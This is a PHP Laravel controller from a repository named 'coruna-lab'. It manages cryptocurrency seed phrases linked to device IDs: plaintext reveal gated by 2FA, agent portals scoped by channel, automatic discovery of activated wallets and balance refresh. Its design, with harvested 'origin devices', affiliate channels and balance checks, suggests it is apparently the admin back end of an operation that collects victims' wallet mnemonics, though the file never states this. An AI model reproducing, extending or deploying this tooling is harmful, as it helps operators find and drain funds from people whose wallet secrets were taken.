Files
coruna-lab/app/Http/Controllers/Admin/MnemonicController.php
T
2026-09-17 04:59:39 +08:00

467 lines
16 KiB
PHP

<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Concerns\RevealsMnemonics;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\Device;
use App\Models\SystemLog;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\AdminGoogle2fa;
use App\Services\IngestService;
use App\Services\MnemonicAddressLinker;
use App\Services\MnemonicWalletDiscovery;
use App\Services\WalletBalanceService;
use App\Support\AgentScope;
use App\Support\WalletSource;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\RateLimiter;
use Illuminate\Validation\Rule;
class MnemonicController extends Controller
{
use PortalAware;
use RevealsMnemonics;
private const REFRESH_DECAY_SECONDS = 60;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletMnemonic::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
$canCreate = $this->canCreateMnemonic();
return view('admin.mnemonics.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
'create_sources' => $canCreate ? $this->createSourceOptions($sources) : [],
'can_create' => $canCreate,
'can_reveal' => $this->canRevealMnemonics(),
'show_origin' => $this->canSeeOriginDevice(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
]);
}
public function store(
Request $request,
MnemonicAddressLinker $linker,
MnemonicWalletDiscovery $discovery,
) {
if (! $this->canCreateMnemonic()) {
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
}
$allowedSources = $this->createSourceOptions(
WalletMnemonic::query()
->whereNotNull('source')
->where('source', '!=', '')
->distinct()
->pluck('source')
);
$data = $request->validate([
'device_id' => ['required', 'string', 'max:64'],
'source' => ['required', 'string', 'max:64', Rule::in($allowedSources)],
'mnemonic' => ['required', 'string', 'max:2048'],
], [
'device_id.required' => '请输入设备 ID',
'source.required' => '请选择来源',
'source.in' => '来源无效',
'mnemonic.required' => '请输入助记词',
]);
$secret = trim(preg_replace('/\s+/u', ' ', $data['mnemonic']) ?? '');
if ($secret === '' || ! $this->isAcceptableMnemonic($secret)) {
return response()->json(['code' => 1, 'msg' => '助记词格式无效,需为 12–24 个英文或中文单词'], 422);
}
$device = $this->resolveDevice(trim($data['device_id']));
if ($device === null) {
return response()->json(['code' => 1, 'msg' => '找不到该设备'], 422);
}
$hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([
'device_id' => $device->id,
'mnemonic_hash' => $hash,
]);
if ($row->exists) {
return response()->json(['code' => 1, 'msg' => '该设备已存在相同助记词'], 422);
}
$row->source = $data['source'];
$row->mnemonic = $secret;
$row->save();
try {
$linker->linkMnemonicToDeviceAddresses($row);
} catch (\Throwable) {
// Linking is best-effort; the mnemonic row is already saved.
}
try {
$discovery->discoverActivated($row);
} catch (\Throwable) {
// Discovery talks to chain APIs; failure must not roll back the add.
}
/** @var Admin $actor */
$actor = auth('admin')->user();
try {
SystemLog::recordMnemonicCreate($actor, $row, $device, $request);
} catch (\Throwable) {
// Audit write is best-effort.
}
return response()->json([
'code' => 0,
'msg' => '已添加',
'data' => [
'id' => $row->id,
'device_id' => $device->device_id,
'source' => $row->source,
],
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$canReveal = $this->canRevealMnemonics();
$showOrigin = $this->canSeeOriginDevice();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal, $showOrigin) {
$originId = $showOrigin ? (int) ($row->origin_device_id ?? 0) : 0;
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
'origin_device_key' => $showOrigin ? ($row->origin_device_key ?: '') : '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
'origin_detail_url' => $originId > 0 ? route($portal.'.devices.show', $originId) : '',
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
'can_reveal' => $canReveal,
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($row->id) : '',
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
{
$actor = $this->isAgentPortal() ? $this->agent() : auth('admin')->user();
if ($actor === null || ! $actor->canRevealMnemonics()) {
$msg = (! $this->isAgentPortal() && ! (bool) config('coruna.mnemonic_reveal.staff_enabled'))
? '需要超级管理员权限'
: '无权查看明文';
return response()->json(['code' => 1, 'msg' => $msg], 403);
}
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if (! $actor->hasGoogleBound()) {
$hint = $this->isAgentPortal() ? '账号 → 谷歌验证' : '系统 → 谷歌验证';
return response()->json(['code' => 1, 'msg' => '请先在「'.$hint.'」绑定,查看明文必须验证']);
}
$data = $request->validate([
'GACode' => ['required', 'string', 'max:16'],
], [
'GACode.required' => '请输入谷歌验证码',
]);
$throttleKey = 'mnemonic-reveal:'.$this->portal().':'.$actor->id;
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
$seconds = RateLimiter::availableIn($throttleKey);
return response()->json([
'code' => 1,
'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试',
], 429);
}
if (! $google2fa->verify((string) $actor->google_secret, $data['GACode'])) {
RateLimiter::hit($throttleKey, 60);
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
RateLimiter::clear($throttleKey);
try {
SystemLog::recordMnemonicReveal(
$actor,
$this->isAgentPortal() ? 'agent' : 'admin',
$mnemonic,
$request,
);
} catch (\Throwable) {
// Reveal still succeeds if audit write fails.
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $mnemonic->id,
'mnemonic' => (string) $mnemonic->mnemonic,
],
]);
}
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
{
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$discovery->discoverActivated($mnemonic);
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->walletsPayload($mnemonic, $discovery),
]);
}
public function refreshWallets(
WalletMnemonic $mnemonic,
WalletBalanceService $balances,
MnemonicWalletDiscovery $discovery,
) {
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$throttleKey = 'mnemonic-wallets-refresh:'.$mnemonic->id;
if (RateLimiter::tooManyAttempts($throttleKey, 1)) {
$seconds = RateLimiter::availableIn($throttleKey);
return response()->json([
'code' => 1,
'msg' => '刷新过于频繁,请 '.$seconds.' 秒后再试',
'data' => ['retry_after' => $seconds],
], 429);
}
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverActivated($mnemonic);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$ok = 0;
$fail = 0;
foreach ($addresses as $address) {
// WalletBalanceService::refresh persists coin columns onto wallet_addresses.
if ($balances->refresh($address)) {
$ok++;
} else {
$fail++;
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
'refreshed' => $ok,
'failed' => $fail,
'retry_after' => self::REFRESH_DECAY_SECONDS,
]),
]);
}
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
{
$allowed = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->where('wallet_mnemonics.id', $mnemonic->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
/**
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
*/
private function walletsPayload(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery): array
{
return [
'mnemonic_id' => $mnemonic->id,
'source' => $mnemonic->source ?: '',
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
'addresses' => $discovery->walletCards($mnemonic),
];
}
private function baseQuery(Request $request): Builder
{
$q = WalletMnemonic::query()
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
->leftJoin('devices as origin_devices', 'origin_devices.id', '=', 'wallet_mnemonics.origin_device_id')
->select([
'wallet_mnemonics.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
'origin_devices.device_id as origin_device_key',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where(function ($inner) use ($deviceKey) {
$inner->where('devices.device_id', 'like', '%'.$deviceKey.'%')
->orWhere('origin_devices.device_id', 'like', '%'.$deviceKey.'%');
});
}
if ($source !== '') {
$q->where('wallet_mnemonics.source', $source);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
private function canSeeOriginDevice(): bool
{
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
}
private function canCreateMnemonic(): bool
{
if ($this->isAgentPortal()) {
return false;
}
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->isSuper();
}
/**
* @param iterable<int, string> $existing
* @return list<string>
*/
private function createSourceOptions(iterable $existing): array
{
$options = WalletSource::mnemonicSourceOptions();
$seen = array_fill_keys($options, true);
foreach ($existing as $source) {
$source = trim((string) $source);
if ($source === '' || isset($seen[$source])) {
continue;
}
$options[] = $source;
$seen[$source] = true;
}
return $options;
}
private function resolveDevice(string $key): ?Device
{
$key = trim($key);
if ($key === '') {
return null;
}
$candidates = [$key];
$normalized = IngestService::normalizeDeviceKey($key);
if (is_string($normalized) && $normalized !== '' && $normalized !== $key) {
$candidates[] = $normalized;
}
if (strtoupper($key) !== $key) {
$candidates[] = strtoupper($key);
}
$device = Device::query()->whereIn('device_id', array_values(array_unique($candidates)))->first();
if ($device !== null) {
return $device;
}
if (ctype_digit($key)) {
return Device::query()->find((int) $key);
}
return null;
}
private function isAcceptableMnemonic(string $secret): bool
{
$words = preg_split('/\s+/u', strtolower(trim($secret))) ?: [];
$n = count($words);
if (! in_array($n, [12, 15, 18, 21, 24], true)) {
return false;
}
foreach ($words as $word) {
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
continue;
}
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
continue;
}
return false;
}
return true;
}
}